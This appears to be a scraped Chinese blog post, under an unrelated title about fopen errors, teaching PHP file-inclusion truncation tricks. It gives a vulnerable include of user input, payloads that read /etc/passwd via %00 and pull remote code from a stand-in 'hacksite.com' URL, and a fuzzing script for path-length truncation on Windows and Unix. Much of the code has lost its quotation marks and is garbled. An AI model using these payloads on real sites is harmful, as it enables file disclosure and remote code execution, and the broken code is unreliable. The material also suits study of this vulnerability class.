php fopen 找不着文件,fopen 系统找不到指定路径 PHP文件包含详细讲述(4)
test.txt 代碼
結果截斷失敗,改下代碼:
$webpath = dirname(__FILE__)."/";
$filepath = "test.txt";
for($i =1;$i<1000;$i++){
$filepath .= .;
}
include $filepath.".php"; //相對路徑
?>
這次成功。
以上是windows下的方法,其實linux也可以:
include截斷
include $_GET[action].".php";
?>
提交“action=/etc/passwd%00”中的“%00”將截斷后面的“.php”,但是除了“%00”還有沒有其他的字符可以實現截斷使用呢?
肯定有人想到了遠程包含的url里問號“?”的作用,通過提交“action=http://www.hacksite.com/evil-code.txt?”這里“?”實現了“偽截斷”:),好象這個看上去不是那么舒服那么我們簡單寫個代碼fuzz一下:
var5.php代碼:
include $_GET[action].".php";
print strlen(realpath("./"))+strlen($_GET[action]);
///
ini_set(max_execution_time, 0);
$str=;
for($i=0;$i<50000;$i++)
{
$str=$str."/";
$resp=file_get_contents(http://127.0.0.1/var/var5.php?action=1.txt.$str);
//1.txt里的代碼為print hi;
if (strpos($resp, hi) !== false){
print $i;
exit;
}
}
?>
經過測試字符“.”、“ /”或者2個字符的組合,在一定的長度時將被截斷,win系統和*nix的系統長度不一樣,當win下strlen(realpath("./"))+strlen($_GET[action])的長度大于256時被截斷,對于*nix的長度是4 * 1024 = 4096。對于php.ini里設置遠程文件關閉的時候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先發現])
推薦文章:
關于PHP文件包含一些漏洞分析
關于PHP文件包含一些漏洞分析。fopen 系統找不到指定路徑文章簡單的分析了在php文件包含時inlcude的一個漏洞分析,下面希望對大家有點用處哦。
總結
以上是生活随笔為你收集整理的php fopen 找不着文件,fopen 系统找不到指定路径 PHP文件包含详细讲述(4)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 中班体育教案《小士兵》反思
- 下一篇: 享受一个人的时光短句 享受一个人的清静说